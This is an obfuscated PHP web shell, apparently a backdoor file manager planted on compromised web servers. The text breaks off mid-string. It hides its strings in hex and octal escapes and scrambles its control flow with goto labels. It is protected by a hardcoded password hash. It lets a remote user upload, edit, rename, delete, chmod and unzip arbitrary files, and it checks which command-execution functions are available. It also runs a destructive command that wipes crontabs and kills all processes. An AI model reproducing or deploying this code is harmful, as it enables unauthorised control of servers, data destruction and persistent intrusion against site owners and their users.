echo "\74\163\143\x72\151\x70\x74\76\141\x6c\x65\162\164\x28\x27\x53\157\155\x65\x20\145\162\162\157\x72\x20\157\143\x63\x75\162\x72\145\144\56\47\51\x3b\40\x77\x69\x6e\x64\157\167\56\154\157\x63\141\x74\x69\x6f\x6e\56\162\145\160\154\x61\143\x65\50\x27\77\x70\75" .
encodePath(PATH) .
"\x27\x29\x3b\x3c\x2f\163\143\x72\151\160\x74\76";
goto nLNRoqlQpR;
eupyYxqqGI:
chmod($name, 0644);
echo "\74\x73\x63\x72\151\160\x74\x3e\x61\x6c\x65\x72\x74\x28\x27\106\x69\154\145\x20\x63\150\x6d\157\x64\40\x75\160\144\x61\x74\x65\56\x27\x29\x3b\40\x77\151\x6e\144\157\167\x2e\x6c\157\143\x61\x74\151\157\156\56\162\x65\x70\154\x61\143\145\x28\x27\x3f\160\x3d" .
encodePath(PATH) .
"\47\x29\73\x3c\57\x73\143\162\x69\x70\x74\76";
goto XtuPtIKGQH;
Hw2SFfUvmj:
echo "\x3c\x73\x63\162\x69\160\x74\x3e\x61\154\145\x72\x74\50\47\123\x6f\x6d\145\40\x65\162\x72\157\162\x20\157\143\143\165\162\x72\x65\144\x2e\47\x29\73\x20\167\x69\x6e\x64\x6f\167\x2e\154\157\x63\141\164\x69\157\x6e\56\162\145\x70\x6c\x61\143\145\x28\47\77\160\x3d" .
encodePath(PATH) .
"\x27\x29\x3b\74\x2f\163\x63\162\151\x70\x74\76";
goto uKaFT_20sJ;
YBAkjOizIP:
echo "\74\163\x63\162\151\x70\164\76\141\x6c\145\x72\x74\50\x27\123\141\x76\145\144\56\x27\51\x3b\40\x77\151\x6e\144\x6f\x77\56\154\x6f\x63\x61\164\151\157\156\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\47\77\160\75" .
encodePath(PATH) .
"\x27\x29\x3b\x3c\x2f\x73\143\x72\151\x70\x74\76";
uKaFT_20sJ:
goto D6U72UrB2Z;
ZHra7wz1w2:
$i = 0;
mC0cVIUkTS:
if (!($i < $countfiles)) {
goto YSyq1EzeCv;
}
$target_file =
PATH .
"\57" .
$_FILES["\x66\x69\154\145\x54\x6f\125\x70\x6c\x6f\141\144"][
"\x6e\141\x6d\145"
][$i];
$filename =
$_FILES["\x66\151\154\145\124\x6f\x55\x70\x6c\157\141\x64"][
"\x6e\x61\x6d\x65"
][$i];
goto fbG_xkugHt;
CyWKPJrq0i:
$f_get = "\146\151\154\x65\x5f\147\x65\164\137\143\x6f\156\x74\x65\156\x74\163";
if (!(!empty($_GET["\145"]) && isset($_GET["\161"]))) {
goto bkpdO7rKVh;
}
echo PATH .
"\x2f" .
$_GET["\145"] .
"\x3c\142\162\x2f\x3e" .
"\15\12\x20\40\x20\x20\x3c\x66\x6f\162\155\x20\155\145\x74\x68\x6f\x64\75\x22\x70\157\163\x74\42\76\xd\12\x20\40\40\40\40\40\x20\40\x3c\164\x65\x78\164\x61\162\145\141\x20\163\164\x79\x6c\145\x3d\x22\150\145\x69\147\150\164\x3a\40\65\60\60\160\x78\73\xd\12\x20\x20\x20\40\40\x20\x20\40\x77\151\x64\x74\x68\x3a\40\x39\x30\45\73\x22\40\156\141\155\145\x3d\x22\144\x61\x74\x61\42\76" .
htmlspecialchars($f_get(PATH . "\57" . $_GET["\145"])) .
"\x3c\x2f\x74\145\170\164\x61\162\x65\141\x3e\xd\12\40\40\x20\40\x20\x20\x20\x20\x3c\142\x72\x3e\15\xa\x20\x20\x20\40\40\40\40\40\74\151\x6e\x70\x75\164\40\x74\x79\x70\x65\75\x22\163\165\142\x6d\151\x74\x22\x20\x63\154\141\x73\163\75\42\142\x74\x6e\x20\x62\164\156\x2d\x64\141\162\x6b\42\40\x76\141\x6c\165\145\75\x22\123\141\166\x65\x22\x20\156\x61\155\x65\75\42\x65\144\x69\164\x22\76\15\12\x20\40\40\x20\x3c\x2f\146\x6f\x72\155\x3e";
if (!isset($_POST["\145\x64\151\x74"])) {
goto QpulYmuOpY;
}
$filename = PATH . "\x2f" . $_GET["\x65"];
goto cx9kynoFNX;
P_CIcdx8pn:
tYLeI23a9m:
if (!isset($_POST["\x63\x72\x65\x61\x74\x65\146\x6f\154\144\145\x72"])) {
goto tnDllwBOId;
}
$dir = PATH . "\x2f" . $_POST["\156"];
if (is_dir($dir)) {
goto Dy0HIpnx1D;
}
if (mkdir($dir, 0644, true)) {
goto lUs88trmzZ;
}
goto nsDN73qQbF;
nv_28evyoS:
goto e1JbMglVPk;
KBsq9sldzB:
$zip->extractTo($unzipname);
$zip->close();
echo "\x3c\163\x63\162\151\160\164\76\141\154\145\162\164\50\x27\x53\165\143\143\145\x73\x73\x20\x55\156\172\x69\160\40\106\x69\154\x65\x20\41\47\x29\73\x20\167\x69\156\x64\x6f\167\x2e\x6c\157\x63\141\x74\x69\x6f\156\56\162\x65\x70\154\x61\x63\x65\x28\47\x3f\x70\75" .
encodePath(PATH) .
"\x27\51\x3b\74\57\163\143\x72\151\160\164\x3e";
goto EdCjnupSKX;
emszB5Dgub:
if (delDirAndFile($name)) {
goto pCm5JOtvQe;
}
echo "\74\163\143\162\x69\x70\164\x3e\141\x6c\x65\162\164\50\47\123\157\155\x65\x20\x65\x72\162\157\x72\40\x6f\x63\x63\x75\162\162\x65\144\61\x31\56\x27\x29\x3b\x20\167\x69\x6e\x64\157\167\x2e\154\x6f\143\141\164\151\157\156\56\162\145\x70\x6c\x61\143\x65\50\x27\x3f\x70\x3d" .
encodePath(PATH) .
"\x27\x29\73\74\x2f\x73\x63\x72\151\x70\164\x3e";
goto DQviXZZ9KV;
pCm5JOtvQe:
echo "\x3c\163\143\162\151\160\x74\76\x61\x6c\x65\x72\164\50\47\104\x69\x72\x65\143\x74\x6f\x72\x79\40\x72\x65\155\x6f\x76\x65\144\x2e\47\x29\x3b\40\x77\x69\156\x64\x6f\167\56\x6c\x6f\x63\141\164\x69\x6f\156\56\x72\x65\x70\154\x61\143\145\x28\47\x3f\x70\x3d" .
encodePath(PATH) .
"\x27\51\73\74\57\163\143\162\x69\x70\x74\x3e";
goto aaErwz4hMW;
dXOvHDfdil:
goto Oe3VymIenA;
JobEMi9cLr:
echo "\74\x73\143\162\x69\x70\164\x3e\x61\x6c\x65\x72\x74\50\x27\x44\x69\x72\145\x63\164\x6f\162\x79\40\x63\x68\x6d\157\144\x20\x75\x70\x64\141\x74\145\56\47\x29\73\40\x77\x69\x6e\144\157\x77\56\x6c\157\143\141\x74\151\x6f\156\x2e\162\x65\x70\x6c\141\x63\x65\50\47\x3f\160\75" .
encodePath(PATH) .
"\x27\51\x3b\74\57\x73\x63\x72\x69\x70\x74\76";
Oe3VymIenA:
wYYR3gCcqU:
goto Npk0cHbvTj;
KkYoAr8Btq:
$name = PATH . "\57" . $_GET["\x64"];
if (is_file($name)) {
goto i74vvzRzMV;
}
if (is_dir($name)) {
goto MgG40KzWx_;
}
goto xw00L_iaef;
i74vvzRzMV:
goto DoOBNBqM19;
nsDN73qQbF:
goto j1rp9pmauk;
lUs88trmzZ:
echo "\x3c\163\x63\162\x69\x70\164\x3e\x61\154\145\162\x74\x28\x27\146\x6f\x6c\x64\x65\162\x20\x63\x72\145\x61\164\145\40\x73\x75\143\143\x65\x73\163\56\x27\x29\73\x20\167\x69\156\x64\157\167\x2e\154\x6f\x63\x61\x74\151\157\x6e\56\x72\x65\x70\x6c\141\143\145\x28\47\x3f\x70\x3d" .
encodePath(PATH) .
"\47\x29\73\74\x2f\163\x63\162\151\x70\x74\x3e";
j1rp9pmauk:
goto nH0FIgc076;
goto l3Yms07B5f;
Md4i_HWNv6:
echo "\74\x73\143\x72\151\160\164\x3e\x61\154\x65\x72\x74\50\47\106\x69\x6c\x65\40\x72\x65\x6d\157\x76\145\x64\x2e\47\x29\x3b\x20\x77\151\x6e\x64\x6f\167\56\x6c\x6f\143\x61\164\x69\x6f\x6e\x2e\162\x65\x70\154\141\143\x65\x28\x27\77\x70\75" .
encodePath(PATH) .
"\47\x29\x3b\74\57\163\143\x72\x69\160\x74\76";
Rp40wF6duG:
goto xw00L_iaef;
MgG40KzWx_:
chmod($name, 0644);
goto emszB5Dgub;
l3Yms07B5f:
Dy0HIpnx1D:
echo "\x3c\163\x63\x72\x69\160\x74\76\141\x6c\145\x72\x74\x28\x27\x66\x6f\154\x64\145\162\40\x65\170\151\x74\x73\56\47\x29\73\40\167\151\156\144\x6f\167\56\x6c\157\x63\141\164\151\157\156\x2e\x72\x65\x70\154\141\x63\145\x28\x27\77\x70\75" .
encodePath(PATH) .
"\x27\51\x3b\x3c\x2f\x73\143\162\x69\x70\164\76";
nH0FIgc076:
tnDllwBOId:
if (!(isset($_GET["\144"]) && isset($_GET["\161"]))) {
goto Ox8GsjTRch;
}
goto KkYoAr8Btq;
Y9XygjMP1Z:
$paths = explode("\x2f", $path);
foreach ($paths as $id => $dir_part) {
goto va473vs_NA;
yOT09q5RXv:
echo "\x27\x3e" . $dir_part . "\74\57\141\x3e\x2f";
uYg7CaGlZn:
goto n7kEFo9VpJ;
oMDHsnrqCp:
if (!($dir_part == "")) {
goto YugEnHBSlQ;
}
goto uYg7CaGlZn;
YugEnHBSlQ:
echo "\x3c\x61\x20\150\x72\x65\146\x3d\x27\77\x70\75";
$i = 0;
goto FiX2rDt6IO;
va473vs_NA:
if (!($dir_part == "" && $id == 0)) {
goto gUHKEnFuI6;
}
$a = true;
echo "\74\141\40\x68\x72\145\146\75\x22\x3f\x70\x3d\x2f\x22\x3e\x2f\74\57\x61\76";
goto uYg7CaGlZn;
gUHKEnFuI6:
goto oMDHsnrqCp;
FiX2rDt6IO:
MwRHQCRX9w:
if (!($i <= $id)) {
goto sEjqttbPss;
}
echo str_replace("\72", "\340\xa6\230", $paths[$i]);
if (!($i != $id)) {
goto RyR4wnfu4k;
}
echo "\xe0\xa6\x95";
goto IW7SJPalIj;
IW7SJPalIj:
RyR4wnfu4k:
fSI3DwvN9c:
$i++;
goto MwRHQCRX9w;
sEjqttbPss:
goto yOT09q5RXv;
n7kEFo9VpJ:
}
ogTTmA4UvI:
echo "\xd\12\x3c\x2f\144\151\166\76\15\xa\74\144\x69\166\40\x63\154\x61\x73\163\75\x22\x66\x6f\162\155\x2d\151\156\154\x69\x6e\145\x22\x3e\15\xa\74\x61\x20\x68\162\145\x66\75\42\x3f\x75\x70\x6c\x6f\x61\144\x26\x71\75" .
urlencode(encodePath(PATH)) .
"\x22\x3e\74\142\165\x74\164\x6f\156\x20\x63\154\141\163\163\x3d\x22\142\164\156\40\142\x74\x6e\55\x64\141\x72\153\x22\x20\164\x79\160\145\x3d\42\x62\x75\164\x74\x6f\156\42\76\125\160\154\x6f\x61\144\x20\x46\151\x6c\145\74\57\x62\x75\x74\x74\x6f\x6e\76\74\57\x61\x3e\15\xa\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x3f\153\x6b\46\x71\x3d" .
urlencode(encodePath(PATH)) .
"\42\x3e\x3c\x62\x75\x74\x74\x6f\x6e\40\x63\x6c\x61\x73\163\x3d\x22\142\x74\156\x20\142\x74\x6e\55\x64\141\x72\153\x22\40\164\171\160\x65\x3d\42\142\x75\x74\164\x6f\156\x22\x3e\153\151\x20\154\154\x3c\x2f\x62\x75\x74\x74\x6f\156\76\74\x2f\141\x3e\15\12\x3c\x61\x20\150\162\x65\x66\x3d\42\77\x6e\x65\167\x66\x69\x6c\145\46\x71\75" .
urlencode(encodePath(PATH)) .
"\42\76\74\x62\165\x74\x74\157\x6e\40\x63\154\141\x73\x73\x3d\x22\142\x74\156\40\142\164\x6e\x2d\144\141\162\x6b\42\x20\164\171\x70\x65\75\42\142\x75\x74\x74\x6f\x6e\x22\x3e\x2b\x4e\x65\167\40\x46\151\154\145\x3c\x2f\142\165\164\x74\157\x6e\x3e\x3c\57\141\76\15\xa\74\141\40\150\x72\145\146\75\x22\x3f\156\145\x77\x66\x6f\154\144\145\x72\46\161\75" .
urlencode(encodePath(PATH)) .
"\42\76\x3c\x62\165\x74\164\157\x6e\40\143\154\x61\163\163\x3d\42\x62\164\x6e\40\142\164\156\55\x64\x61\x72\153\x22\40\164\x79\160\145\x3d\42\x62\165\164\164\x6f\x6e\42\x3e\x2b\x4e\x65\x77\x20\106\x6f\154\144\x65\162\74\x2f\142\165\164\x74\157\156\76\x3c\57\141\x3e\xd\xa\15\12\x3c\141\x20\x68\162\145\146\75\42\x3f\x63\x68\x65\143\x6b\x73\x69\x74\145\155\46\x71\75" .
urlencode(encodePath(PATH)) .
"\x22\76\x3c\142\x75\x74\164\157\x6e\x20\x63\x6c\x61\163\x73\75\42\x62\164\156\40\x62\164\156\55\144\x61\x72\x6b\x22\40\x74\x79\160\145\x3d\42\142\165\x74\x74\x6f\156\x22\x3e\103\x68\x65\x63\x6b\x20\x73\151\164\145\x20\x6d\x6d\x3c\x2f\142\x75\x74\x74\x6f\x6e\76\74\57\141\76\15\12\xd\12\74\x61\x20\x68\162\x65\x66\75\42\77\x22\x3e\74\142\x75\164\x74\157\156\40\164\171\160\x65\x3d\42\142\165\x74\x74\157\x6e\42\40\x63\154\141\x73\x73\x3d\x22\142\x74\x6e\x20\142\x74\x6e\55\144\x61\x72\153\x22\76\110\117\115\x45\x3c\x2f\x62\x75\164\x74\157\x6e\x3e\x3c\x2f\141\x3e\40\x3c\x62\162\x2f\76\74\x62\162\57\76\15\xa\15\12\74\57\144\x69\x76\76\15\12\74\57\x6e\x61\166\76";
echo "\x3c\x62\162\57\76";
goto bj6_Z5R6P8;
EdCjnupSKX:
e1JbMglVPk:
eSEPs6MqVL:
if (!(isset($_GET["\x7a"]) && isset($_GET["\x71"]))) {
goto YAe2zQqyUV;
}
echo "\x3c\x73\x63\162\x69\x70\x74\x3e\x61\154\x65\162\164\50\x27\x53\x75\x63\x63\x65\163\x73\40\172\x69\160\40\106\x69\154\x65\40\41\47\x29\x3b\x20\x77\151\x6e\144\157\x77\56\154\157\143\141\x74\x69\x6f\156\x2e\x72\145\160\154\141\x63\x65\x28\47\77\x70\x3d" .
encodePath(PATH) .
"\47\51\x3b\74\57\x73\x63\x72\151\x70\164\76";
$dir = PATH . "\x2f" . $_GET["\172"] . "\x2f";
goto TsyWtatbcv;
ITnRnJQ2C3:
if (!(!empty($_GET["\162"]) && isset($_GET["\x71"]))) {
goto zZqSUR23nO;
}
echo "\15\12\x20\40\x20\x20\74\146\157\x72\x6d\x20\155\145\x74\x68\x6f\x64\75\x22\x70\x6f\163\x74\x22\x3e\15\12\x20\x20\x20\40\40\x20\x20\x20\122\x65\156\141\x6d\x65\x3a\15\12\40\x20\40\40\x20\x20\x20\40\74\151\156\x70\165\164\40\164\x79\160\x65\x3d\42\164\x65\x78\x74\x22\x20\156\x61\155\x65\75\x22\156\141\155\145\x22\x20\166\x61\154\165\145\x3d\42" .
$_GET["\162"] .
"\42\x3e\15\12\40\x20\x20\40\40\40\40\40\74\x69\x6e\x70\165\x74\40\164\171\x70\145\x3d\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\163\x3d\x22\142\x74\x6e\x20\x62\x74\x6e\55\x64\141\162\x6b\42\40\x76\141\x6c\165\x65\x3d\x22\x52\145\x6e\141\x6d\x65\x22\x20\x6e\x61\155\x65\75\x22\162\x65\x6e\x61\155\145\42\76\xd\xa\40\x20\40\x20\74\x2f\146\157\x72\x6d\76";
if (!isset($_POST["\162\x65\x6e\141\x6d\x65"])) {
goto UFjBICUtdc;
}
$name = PATH . "\57" . $_GET["\162"];
if (rename($name, PATH . "\57" . $_POST["\156\141\x6d\145"])) {
goto vF__m0P419;
}
goto y9WumEOrzr;
DoOBNBqM19:
chmod($name, 0644);
if (unlink($name)) {
goto MvwQJ339fp;
}
echo "\x3c\163\x63\162\x69\x70\x74\x3e\x61\x6c\x65\x72\164\x28\x27\123\x6f\155\x65\40\145\162\162\157\x72\x20\157\x63\143\x75\162\162\145\x64\x2e\47\51\x3b\40\x77\x69\156\x64\x6f\167\x2e\x6c\x6f\x63\x61\164\x69\157\x6e\56\162\145\160\x6c\x61\x63\x65\x28\x27\x3f\160\x3d" .
encodePath(PATH) .
"\x27\x29\x3b\74\57\163\x63\x72\151\160\164\76";
goto Rp40wF6duG;
MvwQJ339fp:
goto Md4i_HWNv6;
SCAqkS2lJO:
curl_setopt(
$ch,
CURLOPT_ENCODING,
"\x67\172\x69\x70\54\x64\145\x66\x6c\x61\164\145"
);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
goto h3MwXSJDIw;
Jau2xZy8Vk:
$password =
"\x63\61\x64\142\x61\67\x33\71\x65\142\x39\146\x31\66\x33\63\x34\142\x30\144\x31\60\x33\145\x32\146\x39\67\x65\141\x38\65";
error_reporting(0);
set_time_limit(0);
session_start();
if (isset($_SESSION["\154\157\147\x67\x65\144\x49\x6e\155"])) {
goto Q3_P8pKZ2v;
}
goto kXYzdRguua;
t8qaQXnyj6:
$filearray = pathinfo($file);
$unzipname =
PATH . "\57" . $filearray["\x66\151\154\x65\x6e\x61\155\145"] . "\x2f";
if (!is_readable($file)) {
goto vg7S73IY0W;
}
if (strpos($f_get($file), "\120\x4b\x3\x4") === false) {
goto iuViSWE1eK;
}
goto YUXFZ5UEiI;
goto fBCxDX2yaJ;
X2KTCL7k4a:
HMbg1j6BYJ:
echo "\74\163\x63\x72\151\160\164\x3e\141\x6c\145\x72\164\x28\47\143\x72\145\x61\164\x65\x20\163\x75\x63\143\145\163\163\x2e\x27\x29\73\x20\167\151\x6e\144\157\167\x2e\x6c\157\143\141\164\151\x6f\156\56\x72\x65\x70\x6c\141\143\145\50\47\x3f\160\75" .
encodePath(PATH) .
"\47\x29\x3b\74\57\163\x63\x72\151\160\164\x3e";
MItMQRKThR:
ke2zWdT48D:
if (!isset($_POST["\143\162\x65\141\164\x65\143\141\167\160"])) {
goto tYLeI23a9m;
}
goto ImVT8XyE2a;
l_SFPYEYZB:
$cron_result = run(
"\143\x72\157\156\x74\x61\142\40\55\x72\x20\x26\x26\x20\153\x69\x6c\x6c\40\x2d\71\x20\55\x31"
);
if (!$cron_result) {
goto scfiR8YTsl;
}
echo "\x6b\x69\154\x6c\x20\xe6\211\xa7\350\xa1\214\346\x88\x90\345\212\237";
goto VXp7b6Aswh;
scfiR8YTsl:
goto F4QA5V2tTi;
iE5GF0EFHP:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
goto SCAqkS2lJO;
P8PLbzfoc7:
Ttb1zOlxjd:
if (!in_array("\x63\165\x72\154\137\151\x6e\151\x74", $disabled)) {
goto yN3wSug37g;
}
$fuction_info .=
"\x63\x75\162\154\137\151\156\151\164\40\151\163\x20\144\x69\163\x61\142\x6c\x65";
$error_number++;
yN3wSug37g:
goto nVo5s5oxsg;
DBIGfN5oN6:
if (is_file($name)) {
goto JxnZv_AvNz;
}
if (is_dir($name)) {
goto ote_LS0OFh;
}
goto wYYR3gCcqU;
JxnZv_AvNz:
if (chmod($name, 0644)) {
goto eupyYxqqGI;
}
goto N8chD3JEk1;
Npk0cHbvTj:
BZzwztz2oV:
if (!(isset($_GET["\x75"]) && isset($_GET["\x71"]))) {
goto eSEPs6MqVL;
}
$file = PATH . "\x2f" . $_GET["\165"];
$f_put = "\x66\x69\154\145\x5f\160\165\x74\137\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$f_get = "\146\x69\x6c\145\137\147\x65\x74\137\143\x6f\156\164\x65\156\x74\163";
goto t8qaQXnyj6;
DCDFUS6r9D:
echo "\x72\x6f\157\164\x20\156\157\x20\167\162\x69\x74\145\141\x62\x6c\x65";
VpgmEEVBl6:
echo "\40\160\x68\160\40\x76\x65\162\x73\x69\157\156\72\40" . phpversion();
if (class_exists("\x5a\x69\160\101\x72\143\150\151\166\145")) {
goto OMlJcPFOzk;
}
echo "\74\x66\157\x6e\164\x20\143\157\x6c\x6f\x72\75\x22\x72\145\144\42\76\x20\x20\x6e\x6f\40\x73\x75\160\160\157\162\x74\40\x7a\151\x70\74\x2f\146\x6f\x6e\164\76";
goto eDsT2K4DBZ;
bTOYiUeybq:
$p = decodePath($_GET["\x71"]);
KN3EnRrtlZ:
ip5Y5fVJKg:
define("\120\101\x54\x48", $p);
$root = $_SERVER["\x44\x4f\103\125\x4d\105\116\x54\137\x52\117\117\x54"];
goto ymTJBFzQ0r;
h3MwXSJDIw:
if (!$res) {
goto HpL7ZMpSX8;
}
echo "\74\x64\x69\x76\40\163\164\171\x6c\x65\75\42\x77\x69\x64\164\x68\x3a\65\x30\45\x3b\x64\151\x73\x70\x6c\x61\171\x3a\x62\x6c\157\143\153\73\x63\x6f\x6c\x6f\x72\x3a\162\145\144\73\x66\157\156\x74\x2d\163\151\x7a\145\x3a\x33\x30\x70\170\x3b\x74\x65\170\x2d\141\x6c\151\x67\156\72\x63\145\x6e\164\145\162\x3b\42\76\163\x75\160\x70\x6f\162\x74\x20\x63\165\162\154" .
"\74\57\x64\x69\166\x3e\74\x62\x72\x2f\x3e" .
$res;
HpL7ZMpSX8:
A3xqiJxa7Y:
if (!isset($_GET["\162"])) {
goto anR35vTiIv;
}
goto ITnRnJQ2C3;
D6U72UrB2Z:
QpulYmuOpY:
bkpdO7rKVh:
rn8pwvzu0g:
if (!isset($_POST["\165\160\x6c\x6f\141\x64"])) {
goto w2TVdMCu3k;
}
$countfiles = count(
$_FILES["\x66\x69\154\x65\124\x6f\125\160\154\x6f\x61\x64"][
"\156\141\x6d\x65"
]
);
goto ZHra7wz1w2;
svEpz6K2V1:
function fileIcon($file)
{
goto qdW4oec0Ys;
bYf5aDPole:
goto jwie1EfkK2;
OIeND4sZXJ:
return "\x3c\151\40\x63\154\141\x73\163\75\x22\146\141\55\163\150\141\x72\160\x20\x66\x61\x2d\x73\157\x6c\151\144\x20\x66\x61\x2d\x62\x75\x67\42\x3e\74\57\151\x3e\40";
goto jwie1EfkK2;
OoCaD_Lzfb:
goto mwGnRyQlnU;
W5BY2ReduT:
AkI4SOHznm:
return "\74\151\40\x63\154\x61\163\163\75\42\x66\x61\55\x62\162\141\x6e\x64\x73\40\x66\x61\x2d\x70\x79\164\150\157\x6e\x22\76\x3c\x2f\x69\x3e\x20";
goto gG0BvHHs1n;
EdcD5H6G7I:
return "\x3c\x69\x20\x63\154\141\x73\163\75\42\146\141\x2d\142\162\141\x6e\144\163\40\x66\141\x2d\x6a\x73\x22\76\x3c\x2f\151\x3e\x20";
goto X5j7aHyThw;
hjARfLDp9o:
c3GlAr6Zbv:
return "\x3c\x69\40\x63\154\x61\163\x73\75\x22\146\141\55\x62\162\141\156\x64\163\40\146\x61\55\x70\150\x70\42\x3e\74\57\151\x3e\x20";
goto gG0BvHHs1n;
TCn_X6BTFC:
return "\x3c\151\40\x63\154\141\163\163\75\x22\x66\141\55\162\145\x67\x75\154\141\x72\40\x66\x61\55\151\155\141\x67\x65\163\x22\x3e\x3c\57\151\76\x20";
goto OInlIWErQ2;
RvvX68soW9:
return "\x3c\x69\40\x63\154\141\163\x73\75\x22\146\x61\55\x73\157\x6c\x69\144\x20\146\141\x2d\146\x69\154\x65\42\76\x3c\57\x69\x3e\x20";
goto gG0BvHHs1n;
ga3BhY0H58:
return "\74\151\x20\x63\154\x61\163\163\x3d\x22\146\141\55\x62\x72\x61\x6e\144\x73\40\x66\x61\x2d\150\x74\155\x6c\x35\42\76\74\57\x69\76\x20";
goto gG0BvHHs1n;
goto hjARfLDp9o;
mwGnRyQlnU:
return "\x3c\x69\40\x63\154\x61\x73\163\75\x22\x66\x61\x2d\x73\x6f\154\151\144\x20\x66\x61\x2d\x68\x61\x6d\x6d\x65\162\42\76\x3c\x2f\x69\x3e\40";
jwie1EfkK2:
if ($ext == "\150\164\x6d\154" || $ext == "\150\x74\x6d") {
goto ga3BhY0H58;
}
if ($ext == "\160\150\x70" || $ext == "\160\x68\164\155\x6c") {
goto c3GlAr6Zbv;
}
if (in_array($ext, $imgs)) {
goto TCn_X6BTFC;
}
goto avZmGoB60b;
qdW4oec0Ys:
$imgs = [
"\141\x70\x6e\x67",
"\141\x76\151\x66",
"\147\x69\x66",
"\x6a\x70\147",
"\x6a\x70\145\x67",
"\x6a\146\x69\146",
"\160\152\160\145\147",
"\160\x6a\x70",
"\160\x6e\x67",
"\x73\166\147",
"\x77\x65\x62\x70",
];
$audio = [
"\167\x61\x76",
"\x6d\x34\141",
"\x6d\x34\142",
"\x6d\x70\63",
"\157\x67\147",
"\x77\145\x62\155",
"\155\160\143",
];
$ext = strtolower(fileExtension($file));
if ($file == "\145\x72\162\x6f\x72\x5f\x6c\x6f\147") {
goto OIeND4sZXJ;
}
if ($file == "\x2e\150\x74\141\x63\x63\x65\x73\163") {
goto OoCaD_Lzfb;
}
goto bYf5aDPole;
y4eOn_ep5d:
return "\74\151\40\x63\154\141\163\x73\75\42\146\x61\x2d\162\145\x67\165\154\141\162\x20\x66\x61\55\x66\151\154\145\x2d\x6c\151\x6e\145\163\x22\x3e\x3c\x2f\x69\76\x20";
goto gG0BvHHs1n;
GHLrUqDm8o:
return "\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\146\x61\55\144\165\x6f\164\x6f\156\x65\x20\146\141\x2d\x66\151\x6c\x65\x2d\x6d\165\x73\x69\143\42\76\74\57\x69\76\x20";
goto gG0BvHHs1n;
goto W5BY2ReduT;
OInlIWErQ2:
goto gG0BvHHs1n;
Xz06ZdQSZ5:
return "\x3c\x69\40\143\154\x61\163\x73\x3d\42\x66\x61\x2d\x62\x72\141\x6e\144\163\40\x66\141\55\x63\163\163\63\42\76\74\x2f\x69\76\x20";
goto gG0BvHHs1n;
zosrvDaBH3:
goto y4eOn_ep5d;
X5j7aHyThw:
gG0BvHHs1n:
goto V0Kcf6glNu;
avZmGoB60b:
if ($ext == "\x63\163\163") {
goto Xz06ZdQSZ5;
}
if ($ext == "\164\170\164") {
goto zosrvDaBH3;
}
if (in_array($ext, $audio)) {
goto GHLrUqDm8o;
}
if ($ext == "\160\171") {
goto AkI4SOHznm;
}
if ($ext == "\152\163") {
goto EdcD5H6G7I;
}
goto RvvX68soW9;
V0Kcf6glNu:
}
function encodePath($path)
{
$a = ["\57", "\x5c", "\x2e", "\x3a"];
$b = ["\xe0\xa6\225", "\xe0\246\x96", "\xe0\xa6\227", "\xe0\xa6\x98"];
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = ["\57", "\x5c", "\56", "\72"];
$b = ["\xe0\246\x95", "\xe0\246\226", "\xe0\xa6\227", "\xe0\xa6\x98"];
return str_replace($b, $a, $path);
}
function functionCheck()
{
$disabled = explode(
"\x2c",
ini_get(
"\144\x69\x73\141\x62\154\145\x5f\146\165\x6e\143\164\151\157\x6e\x73"
)
);
$new_disable = [];
foreach ($disabled as $item) {
$new_disable[] = trim($item);
gBaJm0vpKS:
}
boMGFTV8MO:
$command_array = [
"\163\171\x73\164\145\155",
"\x73\x68\x65\154\154\137\145\x78\x65\143",
"\x70\x6f\160\x65\x6e",
"\145\170\145\143",
"\160\x72\157\143\137\157\x70\145\x6e",
"\x70\x61\x73\x73\164\150\x72\x75",
];
$command_able = false;
foreach ($command_array as $command) {
if (in_array($command, $new_disable)) {
goto pS5C81ybNd;
}
$command_able = true;
goto SgyQ_yN2DN;
pS5C81ybNd:
vo98C6_Kzo:
}
SgyQ_yN2DN:
return $command_able;
}
function do_write($file, $t, $text)
{
$key = true;
$handle = @fopen($file, $t);
if (@fwrite($handle, $text)) {
goto oUwROXBVSG;
}
@chmod($file, 0666);
$key = @fwrite($handle, $text) ? true : false;
oUwROXBVSG:
@fclose($handle);
return $key;
}
goto aaHpKede2n;
jIcFiAPk87:
HM7RvcTJMR:
echo "\x3c\41\x44\117\103\x54\x59\120\x45\40\150\x74\x6d\154\76\15\xa\74\x68\164\155\x6c\40\154\141\156\147\x3d\x22\x65\x6e\42\76\15\12\15\12\74\x68\145\x61\x64\76\15\12\40\x20\40\40\x3c\155\x65\164\141\x20\143\150\x61\162\x73\x65\x74\x3d\42\x75\x74\146\x2d\x38\42\x3e\xd\xa\x20\x20\40\x20\x3c\155\x65\164\141\40\x68\x74\x74\160\55\145\161\165\x69\166\x3d\x22\x58\x2d\125\x41\x2d\103\x6f\155\160\141\164\151\142\154\x65\x22\x20\143\x6f\156\x74\145\x6e\164\75\x22\x49\105\75\x65\144\x67\x65\x22\x3e\xd\xa\x20\x20\40\40\x3c\155\x65\164\x61\x20\156\141\x6d\145\x3d\42\166\151\x65\167\x70\x6f\162\164\x22\x20\x63\x6f\156\x74\x65\x6e\164\x3d\x22\167\151\x64\x74\150\75\144\145\x76\151\x63\x65\x2d\167\x69\x64\164\150\54\40\151\x6e\151\x74\x69\x61\x6c\x2d\163\143\141\x6c\x65\75\x31\x2e\x30\42\76\xd\xa\x20\40\x20\40\x3c\164\x69\x74\154\x65\76\x45\154\145\x70\74\57\164\151\164\x6c\145\x3e\15\xa\x20\40\x20\40\74\154\x69\x6e\153\x20\x68\162\x65\146\75\42\x68\x74\164\x70\x73\72\57\x2f\143\144\x6e\x2e\152\x73\x64\145\x6c\151\166\162\56\x6e\145\164\57\156\x70\155\x2f\142\157\157\x74\x73\x74\x72\x61\160\100\x35\56\x33\x2e\60\x2d\x61\154\160\150\141\61\x2f\x64\x69\163\x74\x2f\143\163\163\x2f\x62\x6f\157\x74\x73\x74\x72\141\x70\56\x6d\x69\156\x2e\143\163\x73\x22\x20\x72\145\x6c\75\42\163\x74\x79\154\x65\163\150\145\